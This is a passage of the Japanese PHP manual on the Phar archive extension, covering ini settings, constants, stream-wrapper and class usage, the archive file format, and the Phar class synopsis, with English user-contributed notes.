それより前のバージョンの PHP では PECL 拡張モジュールとしてインストールできます。 » PECL の Phar のページ には詳しい情報や過去の歴史があります。

User Contributed Notes

There are no user contributed notes for this page.


実行時設定

php.ini の設定により動作が変化します。

ファイルシステムおよびストリームの設定オプション
名前 | デフォルト | 変更可能 | 変更履歴
phar.readonly | "1" | PHP_INI_ALL |
phar.require_hash | "1" | PHP_INI_ALL |
phar.cache_list | "" | PHP_INI_SYSTEM |

以下に設定ディレクティブに関する 簡単な説明を示します。

phar.readonly bool

このオプションを使用すると、phar ストリームや Phar オブジェクトによる Phar アーカイブの作成や変更ができなくなります。 この設定は、実運用環境では常に有効にしておくべきです。 phar 拡張モジュールのこの機能は、 サーバー上に他のセキュリティ上の脆弱性があった場合に php ベースのウィルスを直接作成されてしまうことにつながります。

注意:

この設定は、php.ini でしか解除できません。 phar.readonly を php.ini で無効にした場合は、 ユーザーがスクリプト内で phar.readonly の有効/無効を切りかえることができます。 phar.readonly を php.ini で有効にした場合は、 スクリプト内でこれを "再度有効にする" ことはできますが、無効にすることはできません。

phar.require_hash bool

このオプションを使用すると、署名つき (現在サポートしているのは MD5、SHA1、SHA256、SHA512、および OpenSSL) の Phar アーカイブのみをオープンするようになります。 署名を含まない Phar アーカイブの処理はできません。

注意:

この設定は、セキュリティ上の理由により php.ini でしか解除できません。 phar.require_hash を php.ini で無効にした場合は、 ユーザーがスクリプト内で phar.require_hash の有効/無効を切りかえることができます。 phar.require_hash を php.ini で有効にした場合は、 スクリプト内でこれを "再度有効にする" ことはできますが、無効にすることはできません。

この設定は、 PharData クラスで通常の tar ファイルを読み込む際には影響を及ぼしません。

警告

phar.require_hash は、それ自体はセキュリティ上の機能を提供しません。 壊れた Pharアーカイブを誤って実行することへの備えでしかありません。 Phar を改ざんできる人は、シグネチャを後で簡単に修正できてしまうからです。

phar.cache_list string

phar アーカイブをウェブサーバーの起動時に事前にパースさせるようにします。 これによりパフォーマンスが向上し、 ディスク上に配置した伝統的なファイルに近い速度で実行することができます。

例1 phar.cache_list の使用例

php.ini (windows):
phar.cache_list =C:\path\to\phar1.phar;C:\path\to\phar2.phar
php.ini (unix):
phar.cache_list =/path/to/phar1.phar:/path/to/phar2.phar

User Contributed Notes

milagre at gmail dot com 14-Jun-2011 11:48
During experimentation with phar.cache_list using php 5.2.13 and pecl/phar 2.0.0, I found some interesting details.

It seems that if any phar in the list of phars to cache fails to be read properly during module initialization, none of the phars in the list will be cached, including ones that had already been successfully read before the failure.

Additionally, phars without metadata will always fail to be pre-cached properly due to what seems to be a bug in the phar module that re-reads the length of the metadata from the next byte if the metadata length is 0.  Adding any metadata resolved the problem for me.

So make sure you are pre-caching phars with metadata, and make sure you don't put a bad path/file in the list.


リソース型

Phar 拡張モジュールで使用するリソースは phar ストリームで、これにより、phar 内のファイルへの透過的なアクセスが可能となります。 Phar ファイルフォーマットについての説明 も参照ください。

User Contributed Notes

There are no user contributed notes for this page.


定義済み定数

以下の定数が定義されています。 この関数の拡張モジュールが PHP 組み込みでコンパイルされているか、 実行時に動的にロードされている場合のみ使用可能です。

Phar 圧縮定数
定数 | 値 | 説明
Phar::NONE (int) | 0x00000000 | 圧縮しない
Phar::COMPRESSED (int) | 0x0000F000 | そのファイルが既に何らかの形式で圧縮されているかどうかを表すフラグとして用いるビットマスク
Phar::GZ (int) | 0x00001000 | zlib (gzip) 圧縮
Phar::BZ2 (int) | 0x00002000 | bzip2 圧縮
Phar ファイル形式定数
定数 | 値 | 説明
Phar::PHAR (int) | 1 | phar ファイル形式
Phar::TAR (int) | 2 | tar ファイル形式
Phar::ZIP (int) | 3 | zip ファイル形式
Phar 署名定数
定数 | 値 | 説明
Phar::MD5 (int) | 0x0001 | md5 ハッシュアルゴリズムでの署名
Phar::SHA1 (int) | 0x0002 | sha1 ハッシュアルゴリズムでの署名
Phar::SHA256 (int) | 0x0003 | sha256 ハッシュアルゴリズムでの署名 (hash 拡張モジュールが必要)
Phar::SHA512 (int) | 0x0004 | sha512 ハッシュアルゴリズムでの署名 (hash 拡張モジュールが必要)
Phar::OPENSSL (int) | 0x0010 | OpenSSL 公開鍵/秘密鍵 ペアでの署名。真の意味での非対称鍵による署名。
Phar webPhar mime オーバーライド定数
定数 | 値 | 説明
Phar::PHP (int) | 0 | Phar::webPhar() の mimeoverrides パラメータに対して、その拡張子を PHP ファイルとしてパースするよう指示する
Phar::PHPS (int) | 1 | Phar::webPhar() の mimeoverrides パラメータに対して、その拡張子を PHP ファイルとしてパースして highlight_file() を通すよう指示する

User Contributed Notes

There are no user contributed notes for this page.


Phar アーカイブの使用法

目次

  • Phar アーカイブの使用法: 導入
  • Phar アーカイブの使用法: phar ストリームラッパー
  • Phar アーカイブの使用法: Phar クラスおよび PharData クラス

User Contributed Notes

gabriel at bumpt dot net 04-Aug-2008 08:57
One should be aware that the bcompiler extension does not appear to work in a phar archive.

When parsing PHP files within a Phar archive, the engine seems to not decode the b-compiled files. Rather, it outputs the bytecode data, even if the bcompiler extension is enabled and loaded, and otherwise operating properly on stand-alone b-compiled PHP files.


Phar アーカイブの使用法: 導入

Phar アーカイブは Java の JAR アーカイブと似た概念のものですが、 PHP アプリケーションで使用する際に必要な機能をより柔軟に使用できるよう改良しています。 Phar アーカイブを使用すると、PHP アプリケーションやライブラリを ひとつのファイルにまとめて配布できるようになります。 Phar アーカイブ形式のアプリケーションは、その他の PHP アプリケーションとまったく同様に扱えます。

php coolapplication.phar

Phar アーカイブ形式のライブラリを使用する方法も、 その他の通常の PHP ライブラリとまったく同じです。

<?php
include 'coollibrary.phar';
?>

phar ストリームラッパーは phar 拡張モジュールの要となるものです。 詳細については こちら で説明します。このストリームラッパーを使用すると、 phar 内の個々のファイルに対して fopen() や opendir() といった標準のファイル操作関数を使用でき、 まるで通常のファイルシステム上にあるのと同じような感覚でアクセスできます。 phar ストリームラッパーは、 ファイルやディレクトリに対する読み書き操作をすべてサポートしています。

<?php
include 'phar://coollibrary.phar/internal/file.php';
header('Content-type: image/jpeg');
// phar にアクセスするには、フルパスあるいはエイリアスを使用します
echo file_get_contents('phar:///fullpath/to/coollibrary.phar/images/wow.jpg');
?>

Phar クラスでは、 ファイルへのアクセスや phar アーカイブ作成用により高度な機能も実装しています。 Phar クラスについての説明は こちら をご覧ください。

<?php
try {
    // 既存の phar をオープンします
    $p = new Phar('coollibrary.phar', 0);
    // Phar は SPL の DirectoryIterator クラスを継承しています
    foreach (new RecursiveIteratorIterator($p) as $file) {
        // $file は PharFileInfo クラスで、これは SplFileInfo を継承しています
        echo $file->getFileName() . "\n";
        echo file_get_contents($file->getPathName()) . "\n"; // 内容を表示します
    }
    if (isset($p['internal/file.php'])) {
        var_dump($p['internal/file.php']->getMetadata());
    }

    // 新しい phar の作成 - php.ini で phar.readonly を 0 にしておく必要があります。
    // phar.readonly は、セキュリティ上の理由によってデフォルトで有効になっています。
    // 実際の運用サーバーでは、決して Phar を作成する必要はないはずで、
    // 単に実行できるだけでよいはずです。
    if (Phar::canWrite()) {
        $p = new Phar('newphar.tar.phar', 0, 'newphar.tar.phar');
        // tar 形式の phar アーカイブを作成し、gzip で圧縮します (.tar.gz)
        $p = $p->convertToExecutable(Phar::TAR, Phar::GZ);

        // トランザクションの作成 - newphar.phar には、
        // stopBuffering() がコールされるまで (一時的なストレージが必要となっても) なにも書き込まれません
        $p->startBuffering();
        // すべてのファイルを /path/to/project に追加し、プレフィックス "project" で phar に保存します
        $p->buildFromIterator(new RecursiveIteratorIterator(new RecursiveDirectoryIterator('/path/to/project')), '/path/to/');

        // 配列形式の API で新しいファイルを追加します
        $p['file1.txt'] = 'Information';
        $fp = fopen('hugefile.dat', 'rb');
        // すべてのデータをストリームからコピーします
        $p['data/hugefile.dat'] = $fp;

        if (Phar::canCompress(Phar::GZ)) {
            $p['data/hugefile.dat']->compress(Phar::GZ);
        }

        $p['images/wow.jpg'] = file_get_contents('images/wow.jpg');
        // ファイルのメタデータには任意の値を保存できます
        $p['images/wow.jpg']->setMetadata(array('mime-type' => 'image/jpeg'));
        $p['index.php'] = file_get_contents('index.php');
        $p->setMetadata(array('bootstrap' => 'index.php'));

        // phar アーカイブをディスクに保存します
        $p->stopBuffering();
    }
} catch (Exception $e) {
    echo 'Phar をオープンできません: ', $e;
}
?>

さらに、phar ファイルの中身の検証を行うこともできます。対称型ハッシュアルゴリズム (MD5、SHA1、SHA256、そしてもし ext/hash が有効ならさらに SHA512) のいずれか、 あるいは OpenSSL を使用した非対称公開鍵/秘密鍵ペアによる署名のいずれかを使用します。 OpenSSL による署名を使用するには、 まず公開鍵/秘密鍵のペアを作成し、秘密鍵を使用して Phar::setSignatureAlgorithm() で署名を行います。 公開キーによる展開はこのようなコードで行います。

<?php
$public = openssl_get_publickey(file_get_contents('private.pem'));
$pkey = '';
openssl_pkey_export($public, $pkey);
?>
公開鍵は phar アーカイブと同じ場所、名前でなければなりません。つまり、phar アーカイブの保存先が /path/to/my.phar の場合は公開鍵を /path/to/my.phar.pubkey としなければなりません。 そうしないと、OpenSSL 署名の検証ができなくなります。

Phar には 3 つの静的メソッド Phar::webPhar()、 Phar::mungServer() そして Phar::interceptFileFuncs() が追加されました。これは、通常のファイルシステム用あるいはウェブアプリケーション用の PHP アプリケーションのパッケージを作成する際に重要となります。 Phar::webPhar() は、HTTP のコールを phar アーカイブ内の特定の場所に転送するフロントコントローラを実装します。 Phar::mungServer() は $_SERVER 配列の中身をうまく変更して アプリケーションでその値を使えるようにします。 Phar::interceptFileFuncs() は、 fopen() や file_get_contents()、opendir() そしてすべての stat 系関数 (file_exists()、is_readable() など) のコールを Phar が横取りして、相対パスを phar アーカイブ内の適切な位置に変換するようにします。

たとえば、あの有名な phpMyAdmin を phar アーカイブにすることを考えてみましょう。 必要なのは、こんな単純なスクリプトだけです。あとは、 ユーザー名とパスワードを変更してウェブサーバー上から phpMyAdmin.phar.tar.php にアクセスするだけで利用できます。

<?php
@unlink('phpMyAdmin.phar.tar.php');
copy('phpMyAdmin-2.11.3-english.tar.gz', 'phpMyAdmin.phar.tar.php');
$a = new Phar('phpMyAdmin.phar.tar.php');
$a->startBuffering();
$a["phpMyAdmin-2.11.3-english/config.inc.php"] = '<?php
/* サーバーの設定 */
$i = 0;

/* Server localhost (config:root) [1] */
$i++;
$cfg[\'Servers\'][$i][\'host\'] = \'localhost\';
$cfg[\'Servers\'][$i][\'extension\'] = \'mysqli\';
$cfg[\'Servers\'][$i][\'connect_type\'] = \'tcp\';
$cfg[\'Servers\'][$i][\'compress\'] = false;
$cfg[\'Servers\'][$i][\'auth_type\'] = \'config\';
$cfg[\'Servers\'][$i][\'user\'] = \'root\';
$cfg[\'Servers\'][$i][\'password\'] = \'\';

/* サーバーの設定はここまで */
if (strpos(PHP_OS, \'WIN\') !== false) {
    $cfg[\'UploadDir\'] = getcwd();
} else {
    $cfg[\'UploadDir\'] = \'/tmp/pharphpmyadmin\';
    @mkdir(\'/tmp/pharphpmyadmin\');
    @chmod(\'/tmp/pharphpmyadmin\', 0777);
}';
$a->setStub('<?php
Phar::interceptFileFuncs();
Phar::webPhar("phpMyAdmin.phar", "phpMyAdmin-2.11.3-english/index.php");
echo "phpMyAdmin is intended to be executed from a web browser\n";
exit -1;
__HALT_COMPILER();
');
$a->stopBuffering();
?>

User Contributed Notes

ch1902 27-Mar-2014 01:14
If you are going to be running a webPhar from the browser, for example http://localhost/myphar.phar then you will probably have to associate the .phar extension with PHP in your webserver to interpret the PHP code. In Apache modify httpd.conf to include

AddType application/x-httpd-php .php .phar
frame86 at live dot com 29-Jun-2013 11:46
The openssl example is completely wrong. The public key must be extracted from certificate and openssl_pkey_export() is for private key only.

Working example:
<?php
$publicKey = openssl_get_publickey(file_get_contents('certificate.pem'));
$details = openssl_pkey_get_details($publicKey);
file_put_contents('my.phar.pubkey', $details['key']);
?>

No need to say that the best and strongest encryption of my.phar/.phar/signature.bin is useless if the consumer does not check against a valid fingerprint or certificate of public key as anybody can open, read, recreate and sign a new archive with new key. Do you do? Think about it.
shaun at shaunfreeman dot co dot uk 27-Sep-2010 03:06
If you are trying to use Phar for a web application and just getting a blank screen, if you have enabled suhosin as well you have to add:

suhosin.executor.include.whitelist="phar"

to "/etc/php5/conf.d/suhosin.ini" file or your "php.ini" file.

once done everything works fine and dandy.


Phar アーカイブの使用法: phar ストリームラッパー

Phar ストリームラッパーは、fopen() による読み込みや
書き込み (追記は除く)、unlink()、stat()、
fstat()、fseek()、rename()
そしてディレクトリに対する opendir()、rmdir()
や mkdir() といった機能に完全に対応しています。

Phar アーカイブ内の各ファイルの圧縮やファイル単位のメタデータの操作も、 ストリーム上で可能です。

<?php
$context = stream_context_create(array('phar' =>
                                    array('compress' => Phar::GZ)),
                                    array('metadata' => array('user' => 'cellog')));
file_put_contents('phar://my.phar/somefile.php', 0, $context);
?>

phar ストリームラッパーは、 リモートファイルを操作することはできません。つまり、INI 設定 allow_url_fopen および allow_url_include が無効になっている場合でも使用できます。

ストリーム操作だけで新しい phar アーカイブをゼロから作成することも可能ですが、 そんな場合は Phar クラスの組み込み機能を使用するほうが便利です。 ストリームラッパーが有用なのは、読み込み専用の操作を行う場合です。

User Contributed Notes

staff at pro-unreal dot de 08-Jun-2011 10:52
Please note that the phar stream wrapper does not work with any glob.
When you decide to move your project to phar archives you need to consider this.

The following won't work:
<?php
glob('phar://some.phar/*');
new DirectoryIterator('glob://phar://some.phar/*');
?>

While the following will work:
<?php
new DirectoryIterator('phar://some.phar/');
?>
carl at dot dot com 09-May-2011 12:12
Some Examples of how to use the stream wrapper would be really helpful.
My floundering attempts reveal only the following:

<?php
$p = new PharData(dirname(__FILE__).'/phartest.zip', 0,'phartest',Phar::ZIP) ;

$p->addFromString('testfile.txt',
'this is just some test text');

// This works
echo file_get_contents('phar://phartest.zip/testfile.txt');

//This Fails
file_put_contents('phar://phartest.zip/testfile.txt',
'Thist is text for testfile.txt');

$context = stream_context_create(
array('phar' =>array('compress' =>Phar::ZIP))
) ;

//This Fails
file_put_contents(
'phar://phartest.zip/testfile.txt',
'Thist is text for testfile.txt',0,$context);

// This works but only with 'r' readonly mode.
$f = fopen(
'phar://C:\\Inetpub\\wwwroot\\PACT\\test\\phartest.zip\\testfile.txt',
'r') ;
?>


Phar アーカイブの使用法: Phar クラスおよび PharData クラス

Phar クラスは Phar アーカイブの読み込みや操作をサポートしています。 また RecursiveDirectoryIterator クラスを継承しているため、順次処理も可能です。 ArrayAccess インターフェイスをサポートしているので、 Phar アーカイブ内のファイルに対して、 それがまるで連想配列であるかのようにアクセスすることができます。

PharData クラスは Phar を継承したもので、実行可能でない (データ) tar アーカイブおよび zip アーカイブなら php.ini で phar.readonly=1 であっても作成/変更できるようになります。 このクラスでは PharData::setAlias() と PharData::setStub() は使用不可能になっています。というのもエイリアスやスタブというのは 実行可能な phar アーカイブに独特の概念だからです。

注意すべき点は、Phar アーカイブを作成する際には Phar のコンストラクタに フルパスを渡さなければならないということです。 相対パスでは初期化に失敗します。

$p が、次のように作成した Phar オブジェクトであるとしましょう。

<?php
$p = new Phar('/path/to/myphar.phar', 0, 'myphar.phar');
?>

空の Phar アーカイブが /path/to/myphar.phar に作成されます。もし /path/to/myphar.phar が既に存在する場合は、それを再度オープンします。 リテラル myphar.phar は、エイリアスを表します。 これを用いると、URL で /path/to/myphar.phar を参照する際に次のようにできます。

<?php
// これらのふたつの file_get_contents() コールが同等となるのは、
// /path/to/myphar.phar のマニフェストでエイリアス "myphar.phar"
// が明示的に指定されている場合か、先ほどの例のように
// Phar オブジェクトを初期化した場合です。
$f = file_get_contents('phar:///path/to/myphar.phar/whatever.txt');
$f = file_get_contents('phar://myphar.phar/whatever.txt');
?>

新しく作成した Phar オブジェクト $p に対して、次のような処理が可能となります。

  • $a = $p['file.php'] とすると、 phar://myphar.phar/file.php の中身を参照する PharFileInfo クラスが作成されます。
  • $p['file.php'] = $v とすると、 myphar.phar の中に新しいファイル (phar://myphar.phar/file.php) を作成するか、あるいは同名のファイルを上書きします。 $v には、文字列あるいはファイルポインタのいずれかを指定できます。 ファイルポインタを指定した場合は、その中身全体をもとにして新しいファイルを作成します。 $p->addFromString('file.php', $v) は、 機能的に上と同じであることに注意しましょう。また、ファイルの中身を $p->addFile('/path/to/file.php', 'file.php') で追加することもできます。最後に、空のディレクトリを作成するには $p->addEmptyDir('empty') とします。
  • isset($p['file.php']) とすると、phar://myphar.phar/file.php が myphar.phar の中に存在するかどうかがわかります。
  • unset($p['file.php']) とすると、 phar://myphar.phar/file.php を myphar.phar から削除します。

さらに、Phar 固有のメタデータにアクセスするためには Phar オブジェクトを使用することが唯一の方法となります。そのためには Phar::getMetadata() を使用します。また、Phar アーカイブの PHP ローダスタブを設定したり取得したりするための唯一の方法が Phar::getStub() および Phar::setStub() です。 また、Phar アーカイブ全体の圧縮を行うには Phar クラスが必要となります。

Phar オブジェクトの全機能の一覧については、以下で説明します。

PharFileInfo クラスは SplFileInfo クラスを継承しており、Phar 内のファイルについての Phar 固有の情報 (圧縮情報やメタデータなど) を扱うためのメソッドが追加されています。

User Contributed Notes

There are no user contributed notes for this page.


  • ≪ Phar アーカイブの使用法: Phar クラスおよび PharData クラス
  • Phar アーカイブの作成: 導入 ≫
  • PHP Manual
  • Phar
  • Phar アーカイブの作成

Phar アーカイブの作成

目次

  • Phar アーカイブの作成: 導入

User Contributed Notes

There are no user contributed notes for this page.


Phar アーカイブの作成: 導入

そのうちにきちんと書きます。今のところは、とりあえず Phar アーカイブの使用法 を読んでおいてください。

まず最初のとっかかりとしては Phar::buildFromIterator() を読むといいでしょう。そして、アーカイブで使用できる ファイル形式 の詳細を確認します。 phar アーカイブを作成するには、スタブについてきちんと理解しておくことが大切です。 そのためには Phar::setStub() と Phar::createDefaultStub() を調べるといいでしょう。 ウェブアプリケーションを配布しようと考えているのなら、 Phar::webPhar() と Phar::mungServer() について調べてみましょう。 アーカイブ内のファイルにアクセスするアプリケーションを作成する場合は Phar::interceptFileFuncs() の使用を検討しましょう。

User Contributed Notes

jw 13-Jun-2011 12:26
There is some more information about stubs here:

http://www.php.net/manual/en/phar.fileformat.stub.php


phar って、tar や zip とは何が違うの?

目次

  • Phar アーカイブの原料のうち、ファイル形式に依存しないもの
  • Phar ファイルのスタブ
  • Phar 形式と Tar 形式、Zip 形式の徹底比較
  • Tar 形式の phar アーカイブ
  • Zip 形式の phar アーカイブ
  • Phar ファイルフォーマット
  • グローバルな Phar ビットマップフラグ
  • Phar マニフェストのファイルエントリの定義
  • Phar のシグネチャの書式

User Contributed Notes

There are no user contributed notes for this page.


Phar アーカイブの原料のうち、ファイル形式に依存しないもの

すべての Phar アーカイブは、三つあるいは四つの部分から構成されています。

  1. スタブ

  2. 内容を説明するマニフェスト

  3. ファイルの内容

  4. [オプション] Phar の整合性を検証するためのシグネチャ (phar 形式の場合のみ)

User Contributed Notes

There are no user contributed notes for this page.


Phar ファイルのスタブ

Phar のスタブは、単純な PHP ファイルです。必要最小限のスタブは、次のようになります。

<?php __HALT_COMPILER();

スタブには、少なくとも __HALT_COMPILER(); トークンが必要です。 典型的なスタブは、次のように読み込み機能を含んでいます。

<?php
Phar::mapPhar();
include 'phar://myphar.phar/index.php';
__HALT_COMPILER();

Phar スタブの内容には特に制限はありません。唯一の制約は、最後が __HALT_COMPILER(); でなければならないということです。 PHP の終了タグ

?>
は含めても含めなくてもかまいません。 しかし、; と終了タグ
?>
 の間にはひとつ以上の空白を含めてはいけません。 もしそうしてしまうと、phar 拡張モジュールは その Phar アーカイブのマニフェストを処理できなくなります。

tar 形式あるいは zip 形式の phar アーカイブでは、スタブは .phar/stub.php というファイルに保存されます。 phar 形式の phar アーカイブのデフォルトのスタブには 約 7k のコードが含まれており、このコードが phar の展開と実行を行います。 詳細は Phar::createDefaultStub() を参照ください。

tar 形式あるいは zip 形式の phar アーカイブにおける phar エイリアスの保存先は .phar/alias.txt で、これはプレーンテキスト形式となります。

User Contributed Notes

There are no user contributed notes for this page.


Phar 形式と Tar 形式、Zip 形式の徹底比較

phar 拡張モジュールがサポートする 3 つのファイル形式って、何がどう違うのでしょう? その答えを次の表にまとめました。

機能マトリックス: Phar vs. Tar vs. Zip
機能 | Phar | Tar | Zip
一般的なファイル形式 | No | Yes | Yes
Phar 拡張モジュールなしでの実行 [1] | Yes | No | No
ファイル単位での圧縮 | Yes | No | Yes
アーカイブ全体の圧縮 | Yes | Yes | No
アーカイブ全体のシグネチャによる検証 | Yes | Yes | Yes (PHP 5.3.1+)
ウェブアプリケーションへの対応 | Yes | Yes | Yes
ファイルごとのメタデータ | Yes | Yes | Yes
アーカイブ単位のメタデータ | Yes | Yes | Yes
アーカイブの作成/変更 [2] | Yes | Yes | Yes
すべてのストリームラッパー関数への対応 | Yes | Yes | Yes
phar.readonly=1 の場合でも作成/変更が可能 [3] | No | Yes | Yes

ヒント

[1] Phar 拡張モジュールが使用できない環境で Phar アーカイブの中身に PHP からアクセスする場合は、その スタブ を使用します。ここに phar アーカイブの中身を展開するコードが含まれています。 phar 拡張モジュールが見つからない場合は、 Phar::createDefaultStub() で作成したスタブが phar アーカイブを展開し、テンポラリディレクトリ内でそれを実行します。

ヒント

[2] 書き込みアクセスを行うには、php.ini あるいはコマンドラインで phar.readonly を無効にする必要があります。

ヒント

[3] tar および zip 形式のアーカイブでファイル名に .phar がつかない、かつ実行スタブ .phar/stub.php を含まないファイルは phar.readonly=1 でも作成できます。

User Contributed Notes

There are no user contributed notes for this page.


Tar 形式の phar アーカイブ

tar 形式のアーカイブは、より近代的な USTAR フォーマットを使用しています。 tar 形式のファイルヘッダは、zip 形式よりも効率的にアクセスできるよう設計されています。 また、phar ファイルフォーマットともほぼ同じくらいに効率的です。 phar アーカイブ内のファイル名は、フルパスで 255 バイトまでという制限があります。 tar 形式の phar アーカイブでは、アーカイブ内のファイルの数に制限はありません。 このアーカイブは gzip や bzip2 で圧縮することができ、 そのまま Phar 拡張モジュールで実行できます。

pax 中間フォーマット経由で、tarボールを読み込む機能も限定的ながらサポートされていますが、 全ての認識される pax ヘッダ (今のところ、型フラグ x と g) は静かに無視されます。 GNU tar アーカイブも限定的ながらサポートされていますが、 今のところ、././@LongLink を解決するのみにとどまっています。

アーカイブ全体を圧縮するには Phar::compress() を使用します。 アーカイブ全体の圧縮を解くには Phar::decompress() を使用します。

User Contributed Notes

jon at enablecrm dot co dot uk 22-Feb-2015 06:57
Whilst the ustar format may be more 'modern', it doesn't support adding files over 8GB in size to tar files.

So at time of writing, if you need to work with tar files that contain files over 8GB, you can't use PharData.


Zip 形式の phar アーカイブ

zip 形式のアーカイブは、zip ファイル形式に組み込まれているいくつかの機能に対応しています。 ファイルごとのメタデータやアーカイブ全体のメタデータを、 文字列にシリアル化して zip ファイルのコメントや zip アーカイブのコメントとして格納することができます。 また、既存の zip コメントも文字列として読み込むことができます。 zlib 圧縮ではファイル単位の DEFLATE 圧縮の読み書き、 そして bzip2 圧縮ではファイル単位の圧縮の読み込みに対応しています。 zip 形式の phar アーカイブでは、アーカイブ内のファイルの数に制限はありません。 空のディレクトリを zip アーカイブに保存する際には、最後にスラッシュをつけた my/directory/ のような形式のファイルとなります。

User Contributed Notes

There are no user contributed notes for this page.


Phar ファイルフォーマット

phar ファイル形式は スタブ/マニフェスト/コンテンツ/シグネチャ で構成されており、phar アーカイブ内に何が含まれているのかについての重要な情報は マニフェスト に格納されます。

Phar マニフェストは高度に最適化された書式で、 ファイル単位で圧縮やパーミッションの情報を指定することができ、 さらにファイルのユーザーやグループなど、独自に定義したメタデータも含めることができます。 1 バイトをこえる大きさの値はリトルエンディアン形式のバイト順で保存されます。 ただし API バージョンだけは例外です。これは 3 ニブルのデータですが、 歴史的な理由によりビッグエンディアン形式のバイト順で保存されます。

未使用のフラグはすべて将来の使用に備えて予約されています。 したがって、独自の情報を保存するためにそれを使用してはいけません。 特定のファイルについて独自の情報を保存するには、 ファイル単位のメタデータ機能を使用します。

Phar アーカイブマニフェストの基本的なファイルフォーマットは、次のようになります。

グローバル Phar マニフェスト書式
バイト数 | 説明
4 バイト | マニフェスト全体のバイト長 (最大 1 MB)。
4 バイト | Phar 内のファイル数。
2 バイト | Phar マニフェストの API バージョン (現在は 1.0.0)。
4 バイト | グローバルな Phar ビットマップフラグ。
4 バイト | Phar のエイリアスの長さ。
?? | Phar のエイリアス (先ほどの長さに基づきます)。
4 バイト | Phar のメタデータの長さ (存在しない場合は 0)。
?? | シリアライズ化された Phar メタデータ。serialize() 形式で格納される。
最低でも 24 * エントリ数ぶんのバイト | 各ファイルのエントリ

User Contributed Notes

There are no user contributed notes for this page.


グローバルな Phar ビットマップフラグ

これが、Phar 拡張モジュールが現在 Phar フラットビットマップとして認識するフラグです。

認識するビットマップ値
値 | 説明
0x00010000 | 設定されている場合、この Phar には検証用シグネチャが含まれます。
0x00001000 | 設定されている場合、この Phar には zlib DEFLATE 圧縮されたファイルが少なくともひとつ含まれます。
0x00002000 | 設定されている場合、この Phar には bzip2 圧縮されたファイルが少なくともひとつ含まれます。

User Contributed Notes

There are no user contributed notes for this page.


Phar マニフェストのファイルエントリの定義

マニフェスト内の各ファイルについて、次のような情報が含まれます。

Phar マニフェストのファイルエントリ
バイト数 | 説明
4 バイト | ファイル名の長さを表すバイト数。
?? | ファイル名 (先ほど指定した長さになります)。
4 バイト | 圧縮前のファイルサイズを表すバイト数。
4 バイト | ファイルの Unix タイムスタンプ。
4 バイト | 圧縮後のファイルサイズを表すバイト数。
4 バイト | 圧縮前のファイルの CRC32 チェックサム。
4 バイト | ファイル固有のビットマップフラグ。
4 バイト | シリアライズされたファイルのメタデータの長さ (存在しない場合は 0)。
?? | シリアライズされたファイルのメタデータ。serialize() の形式で格納される。

API バージョン 1.1.1 では、空のディレクトリの最後にスラッシュをつけて my/directory/ のような形式で保存されることに注意しましょう。

ファイル固有のビットマップ値として認識される値は次のとおりです。

認識されるビットマップ値
値 | 説明
0x000001FF | これらのビットは、ファイルの特定のパーミッションを定義するために予約されています。 このパーミッションは fstat() で用いられ、 ファイルを展開する際に特定のパーミッションを指定することができます。
0x00001000 | 設定されている場合、このファイルは zlib DEFLATE 圧縮されています。
0x00002000 | 設定されている場合、このファイルは bzip2 圧縮されています。

User Contributed Notes

There are no user contributed notes for this page.


Phar のシグネチャの書式

シグネチャを含む Phar は、常にシグネチャを保持しています。 シグネチャの場所は、 ローダ、マニフェスト、実際のファイルの内容に続く Phar アーカイブの最後の部分です。 現在サポートしているシグネチャのフォーマットは MD5, SHA1, SHA256, SHA512, OPENSSL です。

シグネチャのフォーマット
バイト長 | 説明
可変長 | 実際のシグネチャ。SHA1 の場合は 20 バイト、 MD5 の場合は 16 バイト、 SHA256 の場合は 32 バイト、 そして SHA512 の場合は 64 バイトとなります。 OPENSSL の場合は、秘密鍵の長さに応じて変化します。
4 バイト | シグネチャのフラグ。0x0001 は MD5 シグネチャ、そして 0x0002 は SHA1 シグネチャ、 0x0003 は SHA256 シグネチャ、 0x0004 は SHA512 シグネチャを表します。 SHA256 および SHA512 は、API バージョン 1.1.0 以降で利用可能です。 0x0010 は OPENSSL シグネチャを表します。 これは API バージョン 1.1.1 以降、 かつ OpenSSL と共にビルドされている場合にのみ利用可能です。
4 バイト | GBMB という固定値で、 シグネチャが存在することを表します。

User Contributed Notes

There are no user contributed notes for this page.


Phar クラス

(PHP 5 >= 5.3.0, PHP 7, PECL phar >= 1.0.0)

はじめに

Phar クラスは、phar アーカイブへのアクセスや作成のための高レベルインターフェイスを提供します。

クラス概要

Phar extends RecursiveDirectoryIterator implements Countable , ArrayAccess {
/* 継承した定数 */
const int FilesystemIterator::CURRENT_AS_PATHNAME = 32 ;
const int FilesystemIterator::CURRENT_AS_FILEINFO = 0 ;
const int FilesystemIterator::CURRENT_AS_SELF = 16 ;
const int FilesystemIterator::CURRENT_MODE_MASK = 240 ;
const int FilesystemIterator::KEY_AS_PATHNAME = 0 ;
const int FilesystemIterator::KEY_AS_FILENAME = 256 ;
const int FilesystemIterator::FOLLOW_SYMLINKS = 512 ;
const int FilesystemIterator::KEY_MODE_MASK = 3840 ;
const int FilesystemIterator::NEW_CURRENT_AND_KEY = 256 ;
const int FilesystemIterator::SKIP_DOTS = 4096 ;
const int FilesystemIterator::UNIX_PATHS = 8192 ;
/* メソッド */
public addEmptyDir ( string $dirname ) : void
public addFile ( string $file , string $localname = ? ) : void
public addFromString ( string $localname , string $contents ) : void
final public static apiVersion ( ) : string
public buildFromDirectory ( string $base_dir , string $regex = ? ) : array
public buildFromIterator ( Iterator $iter , string $base_directory = ? ) : array
final public static canCompress ( int $type = 0 ) : bool
final public static canWrite ( ) : bool
public compress ( int $compression , string $extension = ? ) : Phar
public compressFiles ( int $compression ) : void
public __construct ( string $fname , int $flags = ? , string $alias = ? )
public convertToData ( int $format = 9021976 , int $compression = 9021976 , string $extension = ? ) : PharData
public convertToExecutable ( int $format = 9021976 , int $compression = 9021976 , string $extension = ? ) : Phar
public copy ( string $oldfile , string $newfile ) : bool
public count ( ) : int
final public static createDefaultStub ( string $indexfile = ? , string $webindexfile = ? ) : string
public decompress ( string $extension = ? ) : Phar
public decompressFiles ( ) : bool
public delMetadata ( ) : bool
public delete ( string $entry ) : bool
public extractTo ( string $pathto , string|array|null $files = null , bool $overwrite = false ) : bool
public getAlias ( ) : string
public getMetadata ( ) : mixed
public getModified ( ) : bool
public getPath ( ) : string
public getSignature ( ) : array
public getStub ( ) : string
final public static getSupportedCompression ( ) : array
final public static getSupportedSignatures ( ) : array
public getVersion ( ) : string
public hasMetadata ( ) : bool
final public static interceptFileFuncs ( ) : void
public isBuffering ( ) : bool
public isCompressed ( ) : mixed
public isFileFormat ( int $format ) : bool
